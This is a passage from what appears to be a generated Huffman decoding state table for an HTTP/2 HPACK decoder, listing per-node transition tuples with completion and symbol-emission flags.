(0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 107), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 113), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 118), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 119), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 120), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 121), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 122), - (70, 0, 0), - (71, 0, 0), - (73, 0, 0), - (74, HUFFMAN_COMPLETE, 0), - - # Node 57 - (1, HUFFMAN_EMIT_SYMBOL, 85), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 85), - (1, HUFFMAN_EMIT_SYMBOL, 86), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 86), - (1, HUFFMAN_EMIT_SYMBOL, 87), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 87), - (1, HUFFMAN_EMIT_SYMBOL, 89), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 89), - (1, HUFFMAN_EMIT_SYMBOL, 106), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 106), - (1, HUFFMAN_EMIT_SYMBOL, 107), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 107), - (1, HUFFMAN_EMIT_SYMBOL, 113), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 113), - (1, HUFFMAN_EMIT_SYMBOL, 118), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 118), - - # Node 58 - (2, HUFFMAN_EMIT_SYMBOL, 85), - (9, HUFFMAN_EMIT_SYMBOL, 85), - (23, HUFFMAN_EMIT_SYMBOL, 85), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 85), - (2, HUFFMAN_EMIT_SYMBOL, 86), - (9, HUFFMAN_EMIT_SYMBOL, 86), - (23, HUFFMAN_EMIT_SYMBOL, 86), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 86), - (2, HUFFMAN_EMIT_SYMBOL, 87), - (9, HUFFMAN_EMIT_SYMBOL, 87), - (23, HUFFMAN_EMIT_SYMBOL, 87), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 87), - (2, HUFFMAN_EMIT_SYMBOL, 89), - (9, HUFFMAN_EMIT_SYMBOL, 89), - (23, HUFFMAN_EMIT_SYMBOL, 89), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 89), - - # Node 59 - (3, HUFFMAN_EMIT_SYMBOL, 85), - (6, HUFFMAN_EMIT_SYMBOL, 85), - (10, HUFFMAN_EMIT_SYMBOL, 85), - (15, HUFFMAN_EMIT_SYMBOL, 85), - (24, HUFFMAN_EMIT_SYMBOL, 85), - (31, HUFFMAN_EMIT_SYMBOL, 85), - (41, HUFFMAN_EMIT_SYMBOL, 85), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 85), - (3, HUFFMAN_EMIT_SYMBOL, 86), - (6, HUFFMAN_EMIT_SYMBOL, 86), - (10, HUFFMAN_EMIT_SYMBOL, 86), - (15, HUFFMAN_EMIT_SYMBOL, 86), - (24, HUFFMAN_EMIT_SYMBOL, 86), - (31, HUFFMAN_EMIT_SYMBOL, 86), - (41, HUFFMAN_EMIT_SYMBOL, 86), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 86), - - # Node 60 - (3, HUFFMAN_EMIT_SYMBOL, 87), - (6, HUFFMAN_EMIT_SYMBOL, 87), - (10, HUFFMAN_EMIT_SYMBOL, 87), - (15, HUFFMAN_EMIT_SYMBOL, 87), - (24, HUFFMAN_EMIT_SYMBOL, 87), - (31, HUFFMAN_EMIT_SYMBOL, 87), - (41, HUFFMAN_EMIT_SYMBOL, 87), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 87), - (3, HUFFMAN_EMIT_SYMBOL, 89), - (6, HUFFMAN_EMIT_SYMBOL, 89), - (10, HUFFMAN_EMIT_SYMBOL, 89), - (15, HUFFMAN_EMIT_SYMBOL, 89), - (24, HUFFMAN_EMIT_SYMBOL, 89), - (31, HUFFMAN_EMIT_SYMBOL, 89), - (41, HUFFMAN_EMIT_SYMBOL, 89), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 89), - - # Node 61 - (2, HUFFMAN_EMIT_SYMBOL, 106), - (9, HUFFMAN_EMIT_SYMBOL, 106), - (23, HUFFMAN_EMIT_SYMBOL, 106), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 106), - (2, HUFFMAN_EMIT_SYMBOL, 107), - (9, HUFFMAN_EMIT_SYMBOL, 107), - (23, HUFFMAN_EMIT_SYMBOL, 107), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 107), - (2, HUFFMAN_EMIT_SYMBOL, 113), - (9, HUFFMAN_EMIT_SYMBOL, 113), - (23, HUFFMAN_EMIT_SYMBOL, 113), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 113), - (2, HUFFMAN_EMIT_SYMBOL, 118), - (9, HUFFMAN_EMIT_SYMBOL, 118), - (23, HUFFMAN_EMIT_SYMBOL, 118), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 118), - - # Node 62 - (3, HUFFMAN_EMIT_SYMBOL, 106), - (6, HUFFMAN_EMIT_SYMBOL, 106), - (10, HUFFMAN_EMIT_SYMBOL, 106), - (15, HUFFMAN_EMIT_SYMBOL, 106), - (24, HUFFMAN_EMIT_SYMBOL, 106), - (31, HUFFMAN_EMIT_SYMBOL, 106), - (41, HUFFMAN_EMIT_SYMBOL, 106), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 106), - (3, HUFFMAN_EMIT_SYMBOL, 107), - (6, HUFFMAN_EMIT_SYMBOL, 107), - (10, HUFFMAN_EMIT_SYMBOL, 107), - (15, HUFFMAN_EMIT_SYMBOL, 107), - (24, HUFFMAN_EMIT_SYMBOL, 107), - (31, HUFFMAN_EMIT_SYMBOL, 107), - (41, HUFFMAN_EMIT_SYMBOL, 107), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 107), - - # Node 63 - (3, HUFFMAN_EMIT_SYMBOL, 113), - (6, HUFFMAN_EMIT_SYMBOL, 113), - (10, HUFFMAN_EMIT_SYMBOL, 113), - (15, HUFFMAN_EMIT_SYMBOL, 113), - (24, HUFFMAN_EMIT_SYMBOL, 113), - (31, HUFFMAN_EMIT_SYMBOL, 113), - (41, HUFFMAN_EMIT_SYMBOL, 113), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 113), - (3, HUFFMAN_EMIT_SYMBOL, 118), - (6, HUFFMAN_EMIT_SYMBOL, 118), - (10, HUFFMAN_EMIT_SYMBOL, 118), - (15, HUFFMAN_EMIT_SYMBOL, 118), - (24, HUFFMAN_EMIT_SYMBOL, 118), - (31, HUFFMAN_EMIT_SYMBOL, 118), - (41, HUFFMAN_EMIT_SYMBOL, 118), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 118), - - # Node 64 - (1, HUFFMAN_EMIT_SYMBOL, 119), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 119), - (1, HUFFMAN_EMIT_SYMBOL, 120), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 120), - (1, HUFFMAN_EMIT_SYMBOL, 121), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 121), - (1, HUFFMAN_EMIT_SYMBOL, 122), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 122), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 38), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 42), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 44), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 59), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 88), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 90), - (75, 0, 0), - (78, 0, 0), - - # Node 65 - (2, HUFFMAN_EMIT_SYMBOL, 119), - (9, HUFFMAN_EMIT_SYMBOL, 119), - (23, HUFFMAN_EMIT_SYMBOL, 119), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 119), - (2, HUFFMAN_EMIT_SYMBOL, 120), - (9, HUFFMAN_EMIT_SYMBOL, 120), - (23, HUFFMAN_EMIT_SYMBOL, 120), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 120), - (2, HUFFMAN_EMIT_SYMBOL, 121), - (9, HUFFMAN_EMIT_SYMBOL, 121), - (23, HUFFMAN_EMIT_SYMBOL, 121), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 121), - (2, HUFFMAN_EMIT_SYMBOL, 122), - (9, HUFFMAN_EMIT_SYMBOL, 122), - (23, HUFFMAN_EMIT_SYMBOL, 122), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 122), - - # Node 66 - (3, HUFFMAN_EMIT_SYMBOL, 119), - (6, HUFFMAN_EMIT_SYMBOL, 119), - (10, HUFFMAN_EMIT_SYMBOL, 119), - (15, HUFFMAN_EMIT_SYMBOL, 119), - (24, HUFFMAN_EMIT_SYMBOL, 119), - (31, HUFFMAN_EMIT_SYMBOL, 119), - (41, HUFFMAN_EMIT_SYMBOL, 119), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 119), - (3, HUFFMAN_EMIT_SYMBOL, 120), - (6, HUFFMAN_EMIT_SYMBOL, 120), - (10, HUFFMAN_EMIT_SYMBOL, 120), - (15, HUFFMAN_EMIT_SYMBOL, 120), - (24, HUFFMAN_EMIT_SYMBOL, 120), - (31, HUFFMAN_EMIT_SYMBOL, 120), - (41, HUFFMAN_EMIT_SYMBOL, 120), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 120), - - # Node 67 - (3, HUFFMAN_EMIT_SYMBOL, 121), - (6, HUFFMAN_EMIT_SYMBOL, 121), - (10, HUFFMAN_EMIT_SYMBOL, 121), - (15, HUFFMAN_EMIT_SYMBOL, 121), - (24, HUFFMAN_EMIT_SYMBOL, 121), - (31, HUFFMAN_EMIT_SYMBOL, 121), - (41, HUFFMAN_EMIT_SYMBOL, 121), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 121), - (3, HUFFMAN_EMIT_SYMBOL, 122), - (6, HUFFMAN_EMIT_SYMBOL, 122), - (10, HUFFMAN_EMIT_SYMBOL, 122), - (15, HUFFMAN_EMIT_SYMBOL, 122), - (24, HUFFMAN_EMIT_SYMBOL, 122), - (31, HUFFMAN_EMIT_SYMBOL, 122), - (41, HUFFMAN_EMIT_SYMBOL, 122), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 122), - - # Node 68 - (1, HUFFMAN_EMIT_SYMBOL, 38), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 38), - (1, HUFFMAN_EMIT_SYMBOL, 42), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 42), - (1, HUFFMAN_EMIT_SYMBOL, 44), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 44), - (1, HUFFMAN_EMIT_SYMBOL, 59), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 59), - (1, HUFFMAN_EMIT_SYMBOL, 88), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 88), - (1, HUFFMAN_EMIT_SYMBOL, 90), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 90), - (76, 0, 0), - (77, 0, 0), - (79, 0, 0), - (81, 0, 0), - - # Node 69 - (2, HUFFMAN_EMIT_SYMBOL, 38), - (9, HUFFMAN_EMIT_SYMBOL, 38), - (23, HUFFMAN_EMIT_SYMBOL, 38), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 38), - (2, HUFFMAN_EMIT_SYMBOL, 42), - (9, HUFFMAN_EMIT_SYMBOL, 42), - (23, HUFFMAN_EMIT_SYMBOL, 42), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 42), - (2, HUFFMAN_EMIT_SYMBOL, 44), - (9, HUFFMAN_EMIT_SYMBOL, 44), - (23, HUFFMAN_EMIT_SYMBOL, 44), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 44), - (2, HUFFMAN_EMIT_SYMBOL, 59), - (9, HUFFMAN_EMIT_SYMBOL, 59), - (23, HUFFMAN_EMIT_SYMBOL, 59), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 59), - - # Node 70 - (3, HUFFMAN_EMIT_SYMBOL, 38), - (6, HUFFMAN_EMIT_SYMBOL, 38), - (10, HUFFMAN_EMIT_SYMBOL, 38), - (15, HUFFMAN_EMIT_SYMBOL, 38), - (24, HUFFMAN_EMIT_SYMBOL, 38), - (31, HUFFMAN_EMIT_SYMBOL, 38), - (41, HUFFMAN_EMIT_SYMBOL, 38), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 38), - (3, HUFFMAN_EMIT_SYMBOL, 42), - (6, HUFFMAN_EMIT_SYMBOL, 42), - (10, HUFFMAN_EMIT_SYMBOL, 42), - (15, HUFFMAN_EMIT_SYMBOL, 42), - (24, HUFFMAN_EMIT_SYMBOL, 42), - (31, HUFFMAN_EMIT_SYMBOL, 42), - (41, HUFFMAN_EMIT_SYMBOL, 42), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 42), - - # Node 71 - (3, HUFFMAN_EMIT_SYMBOL, 44), - (6, HUFFMAN_EMIT_SYMBOL, 44), - (10, HUFFMAN_EMIT_SYMBOL, 44), - (15, HUFFMAN_EMIT_SYMBOL, 44), - (24, HUFFMAN_EMIT_SYMBOL, 44), - (31, HUFFMAN_EMIT_SYMBOL, 44), - (41, HUFFMAN_EMIT_SYMBOL, 44), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 44), - (3, HUFFMAN_EMIT_SYMBOL, 59), - (6, HUFFMAN_EMIT_SYMBOL, 59), - (10, HUFFMAN_EMIT_SYMBOL, 59), - (15, HUFFMAN_EMIT_SYMBOL, 59), - (24, HUFFMAN_EMIT_SYMBOL, 59), - (31, HUFFMAN_EMIT_SYMBOL, 59), - (41, HUFFMAN_EMIT_SYMBOL, 59), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 59), - - # Node 72 - (2, HUFFMAN_EMIT_SYMBOL, 88), - (9, HUFFMAN_EMIT_SYMBOL, 88), - (23, HUFFMAN_EMIT_SYMBOL, 88), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 88), - (2, HUFFMAN_EMIT_SYMBOL, 90), - (9, HUFFMAN_EMIT_SYMBOL, 90), - (23, HUFFMAN_EMIT_SYMBOL, 90), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 90), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 33), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 34), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 40), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 41), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 63), - (80, 0, 0), - (82, 0, 0), - (84, 0, 0), - - # Node 73 - (3, HUFFMAN_EMIT_SYMBOL, 88), - (6, HUFFMAN_EMIT_SYMBOL, 88), - (10, HUFFMAN_EMIT_SYMBOL, 88), - (15, HUFFMAN_EMIT_SYMBOL, 88), - (24, HUFFMAN_EMIT_SYMBOL, 88), - (31, HUFFMAN_EMIT_SYMBOL, 88), - (41, HUFFMAN_EMIT_SYMBOL, 88), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 88), - (3, HUFFMAN_EMIT_SYMBOL, 90), - (6, HUFFMAN_EMIT_SYMBOL, 90), - (10, HUFFMAN_EMIT_SYMBOL, 90), - (15, HUFFMAN_EMIT_SYMBOL, 90), - (24, HUFFMAN_EMIT_SYMBOL, 90), - (31, HUFFMAN_EMIT_SYMBOL, 90), - (41, HUFFMAN_EMIT_SYMBOL, 90), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 90), - - # Node 74 - (1, HUFFMAN_EMIT_SYMBOL, 33), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 33), - (1, HUFFMAN_EMIT_SYMBOL, 34), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 34), - (1, HUFFMAN_EMIT_SYMBOL, 40), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 40), - (1, HUFFMAN_EMIT_SYMBOL, 41), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 41), - (1, HUFFMAN_EMIT_SYMBOL, 63), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 63), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 39), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 43), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 124), - (83, 0, 0), - (85, 0, 0), - (88, 0, 0), - - # Node 75 - (2, HUFFMAN_EMIT_SYMBOL, 33), - (9, HUFFMAN_EMIT_SYMBOL, 33), - (23, HUFFMAN_EMIT_SYMBOL, 33), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 33), - (2, HUFFMAN_EMIT_SYMBOL, 34), - (9, HUFFMAN_EMIT_SYMBOL, 34), - (23, HUFFMAN_EMIT_SYMBOL, 34), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 34), - (2, HUFFMAN_EMIT_SYMBOL, 40), - (9, HUFFMAN_EMIT_SYMBOL, 40), - (23, HUFFMAN_EMIT_SYMBOL, 40), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 40), - (2, HUFFMAN_EMIT_SYMBOL, 41), - (9, HUFFMAN_EMIT_SYMBOL, 41), - (23, HUFFMAN_EMIT_SYMBOL, 41), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 41), - - # Node 76 - (3, HUFFMAN_EMIT_SYMBOL, 33), - (6, HUFFMAN_EMIT_SYMBOL, 33), - (10, HUFFMAN_EMIT_SYMBOL, 33), - (15, HUFFMAN_EMIT_SYMBOL, 33), - (24, HUFFMAN_EMIT_SYMBOL, 33), - (31, HUFFMAN_EMIT_SYMBOL, 33), - (41, HUFFMAN_EMIT_SYMBOL, 33), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 33), - (3, HUFFMAN_EMIT_SYMBOL, 34), - (6, HUFFMAN_EMIT_SYMBOL, 34), - (10, HUFFMAN_EMIT_SYMBOL, 34), - (15, HUFFMAN_EMIT_SYMBOL, 34), - (24, HUFFMAN_EMIT_SYMBOL, 34), - (31, HUFFMAN_EMIT_SYMBOL, 34), - (41, HUFFMAN_EMIT_SYMBOL, 34), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 34), - - # Node 77 - (3, HUFFMAN_EMIT_SYMBOL, 40), - (6, HUFFMAN_EMIT_SYMBOL, 40), - (10, HUFFMAN_EMIT_SYMBOL, 40), - (15, HUFFMAN_EMIT_SYMBOL, 40), - (24, HUFFMAN_EMIT_SYMBOL, 40), - (31, HUFFMAN_EMIT_SYMBOL, 40), - (41, HUFFMAN_EMIT_SYMBOL, 40), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 40), - (3, HUFFMAN_EMIT_SYMBOL, 41), - (6, HUFFMAN_EMIT_SYMBOL, 41), - (10, HUFFMAN_EMIT_SYMBOL, 41), - (15, HUFFMAN_EMIT_SYMBOL, 41), - (24, HUFFMAN_EMIT_SYMBOL, 41), - (31, HUFFMAN_EMIT_SYMBOL, 41), - (41, HUFFMAN_EMIT_SYMBOL, 41), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 41), - - # Node 78 - (2, HUFFMAN_EMIT_SYMBOL, 63), - (9, HUFFMAN_EMIT_SYMBOL, 63), - (23, HUFFMAN_EMIT_SYMBOL, 63), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 63), - (1, HUFFMAN_EMIT_SYMBOL, 39), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 39), - (1, HUFFMAN_EMIT_SYMBOL, 43), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 43), - (1, HUFFMAN_EMIT_SYMBOL, 124), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 124), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 35), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 62), - (86, 0, 0), - (87, 0, 0), - (89, 0, 0), - (90, 0, 0), - - # Node 79 - (3, HUFFMAN_EMIT_SYMBOL, 63), - (6, HUFFMAN_EMIT_SYMBOL, 63), - (10, HUFFMAN_EMIT_SYMBOL, 63), - (15, HUFFMAN_EMIT_SYMBOL, 63), - (24, HUFFMAN_EMIT_SYMBOL, 63), - (31, HUFFMAN_EMIT_SYMBOL, 63), - (41, HUFFMAN_EMIT_SYMBOL, 63), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 63), - (2, HUFFMAN_EMIT_SYMBOL, 39), - (9, HUFFMAN_EMIT_SYMBOL, 39), - (23, HUFFMAN_EMIT_SYMBOL, 39), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 39), - (2, HUFFMAN_EMIT_SYMBOL, 43), - (9, HUFFMAN_EMIT_SYMBOL, 43), - (23, HUFFMAN_EMIT_SYMBOL, 43), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 43), - - # Node 80 - (3, HUFFMAN_EMIT_SYMBOL, 39), - (6, HUFFMAN_EMIT_SYMBOL, 39), - (10, HUFFMAN_EMIT_SYMBOL, 39), - (15, HUFFMAN_EMIT_SYMBOL, 39), - (24, HUFFMAN_EMIT_SYMBOL, 39), - (31, HUFFMAN_EMIT_SYMBOL, 39), - (41, HUFFMAN_EMIT_SYMBOL, 39), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 39), - (3, HUFFMAN_EMIT_SYMBOL, 43), - (6, HUFFMAN_EMIT_SYMBOL, 43), - (10, HUFFMAN_EMIT_SYMBOL, 43), - (15, HUFFMAN_EMIT_SYMBOL, 43), - (24, HUFFMAN_EMIT_SYMBOL, 43), - (31, HUFFMAN_EMIT_SYMBOL, 43), - (41, HUFFMAN_EMIT_SYMBOL, 43), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 43), - - # Node 81 - (2, HUFFMAN_EMIT_SYMBOL, 124), - (9, HUFFMAN_EMIT_SYMBOL, 124), - (23, HUFFMAN_EMIT_SYMBOL, 124), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 124), - (1, HUFFMAN_EMIT_SYMBOL, 35), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 35), - (1, HUFFMAN_EMIT_SYMBOL, 62), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 62), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 0), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 36), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 64), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 91), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 93), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 126), - (91, 0, 0), - (92, 0, 0), - - # Node 82 - (3, HUFFMAN_EMIT_SYMBOL, 124), - (6, HUFFMAN_EMIT_SYMBOL, 124), - (10, HUFFMAN_EMIT_SYMBOL, 124), - (15, HUFFMAN_EMIT_SYMBOL, 124), - (24, HUFFMAN_EMIT_SYMBOL, 124), - (31, HUFFMAN_EMIT_SYMBOL, 124), - (41, HUFFMAN_EMIT_SYMBOL, 124), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 124), - (2, HUFFMAN_EMIT_SYMBOL, 35), - (9, HUFFMAN_EMIT_SYMBOL, 35), - (23, HUFFMAN_EMIT_SYMBOL, 35), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 35), - (2, HUFFMAN_EMIT_SYMBOL, 62), - (9, HUFFMAN_EMIT_SYMBOL, 62), - (23, HUFFMAN_EMIT_SYMBOL, 62), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 62), - - # Node 83 - (3, HUFFMAN_EMIT_SYMBOL, 35), - (6, HUFFMAN_EMIT_SYMBOL, 35), - (10, HUFFMAN_EMIT_SYMBOL, 35), - (15, HUFFMAN_EMIT_SYMBOL, 35), - (24, HUFFMAN_EMIT_SYMBOL, 35), - (31, HUFFMAN_EMIT_SYMBOL, 35), - (41, HUFFMAN_EMIT_SYMBOL, 35), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 35), - (3, HUFFMAN_EMIT_SYMBOL, 62), - (6, HUFFMAN_EMIT_SYMBOL, 62), - (10, HUFFMAN_EMIT_SYMBOL, 62), - (15, HUFFMAN_EMIT_SYMBOL, 62), - (24, HUFFMAN_EMIT_SYMBOL, 62), - (31, HUFFMAN_EMIT_SYMBOL, 62), - (41, HUFFMAN_EMIT_SYMBOL, 62), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 62), - - # Node 84 - (1, HUFFMAN_EMIT_SYMBOL, 0), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 0), - (1, HUFFMAN_EMIT_SYMBOL, 36), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 36), - (1, HUFFMAN_EMIT_SYMBOL, 64), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 64), - (1, HUFFMAN_EMIT_SYMBOL, 91), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 91), - (1, HUFFMAN_EMIT_SYMBOL, 93), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 93), - (1, HUFFMAN_EMIT_SYMBOL, 126), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 126), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 94), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 125), - (93, 0, 0), - (94, 0, 0), - - # Node 85 - (2, HUFFMAN_EMIT_SYMBOL, 0), - (9, HUFFMAN_EMIT_SYMBOL, 0), - (23, HUFFMAN_EMIT_SYMBOL, 0), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 0), - (2, HUFFMAN_EMIT_SYMBOL, 36), - (9, HUFFMAN_EMIT_SYMBOL, 36), - (23, HUFFMAN_EMIT_SYMBOL, 36), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 36), - (2, HUFFMAN_EMIT_SYMBOL, 64), - (9, HUFFMAN_EMIT_SYMBOL, 64), - (23, HUFFMAN_EMIT_SYMBOL, 64), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 64), - (2, HUFFMAN_EMIT_SYMBOL, 91), - (9, HUFFMAN_EMIT_SYMBOL, 91), - (23, HUFFMAN_EMIT_SYMBOL, 91), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 91), - - # Node 86 - (3, HUFFMAN_EMIT_SYMBOL, 0), - (6, HUFFMAN_EMIT_SYMBOL, 0), - (10, HUFFMAN_EMIT_SYMBOL, 0), - (15, HUFFMAN_EMIT_SYMBOL, 0), - (24, HUFFMAN_EMIT_SYMBOL, 0), - (31, HUFFMAN_EMIT_SYMBOL, 0), - (41, HUFFMAN_EMIT_SYMBOL, 0), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 0), - (3, HUFFMAN_EMIT_SYMBOL, 36), - (6, HUFFMAN_EMIT_SYMBOL, 36), - (10, HUFFMAN_EMIT_SYMBOL, 36), - (15, HUFFMAN_EMIT_SYMBOL, 36), - (24, HUFFMAN_EMIT_SYMBOL, 36), - (31, HUFFMAN_EMIT_SYMBOL, 36), - (41, HUFFMAN_EMIT_SYMBOL, 36), - (56, HUFFMAN_COMPLETE | 